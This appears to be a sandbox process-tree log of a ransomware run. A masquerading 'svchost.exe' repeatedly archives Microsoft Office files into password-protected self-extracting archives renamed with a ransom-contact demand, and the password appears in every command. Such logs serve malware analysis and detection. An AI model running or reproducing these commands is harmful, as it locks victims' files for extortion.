                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STRTEDGE\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:4936
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\STUDIO\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:532
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\SUMIPNTG\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:2416
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATER\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4432
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR\THMBNAIL.PNG(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesCommonX64\Microsoft Shared\THEMES16\WATERMAR\THMBNAIL.PNG" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:1508
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\AccessMessageDismissal.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\AccessMessageDismissal.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4852
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\ExcelMessageDismissal.txt(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vfs\ProgramFilesX86\Microsoft Office\Office16\DCF\ExcelMessageDismissal.txt" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:180
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\dcf.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\dcf.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:4412
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\dcfmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\dcfmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2288
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\excel.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\excel.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1580
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\excelmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\excelmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:904
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\office.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\office.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:2372
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\office32mui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\office32mui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2156
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\office32ww.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\office32ww.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:4604
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\officemui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\officemui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:4128
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\officemuiset.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\officemuiset.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1488
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\onenote.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\onenote.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:2912
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\onenotemui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\onenotemui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            PID:1864
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\osm.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\osm.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              PID:3308
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\osmmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\osmmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                PID:4084
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\osmux.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\osmux.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  PID:2780
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\osmuxmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\osmuxmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    PID:1624
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\powerpivot.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\powerpivot.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      PID:5640
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\powerpoint.x-none.msi.16.x-none.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\powerpoint.x-none.msi.16.x-none.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        PID:1756
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      • C:\ProgramData\msvkp\svchost.exe
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        "C:\ProgramData\msvkp\svchost.exe" a "C:\Program Files\Microsoft Office\root\vreg\powerpointmui.msi.16.en-us.vreg.dat(!! to decrypt email id 849282367 to [email protected] !!)" "C:\Program Files\Microsoft Office\root\vreg\powerpointmui.msi.16.en-us.vreg.dat" -sfxC:\Windows\system32\default2.sfx -dh -ep2 -hpxcqT100FurVArVLuLFuuuunVArVqquFtFVFFnnVuAAAAttruqVq -m0 -y
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        2⤵
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          PID:5896
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        • C:\ProgramData\msvkp\svchost.exe
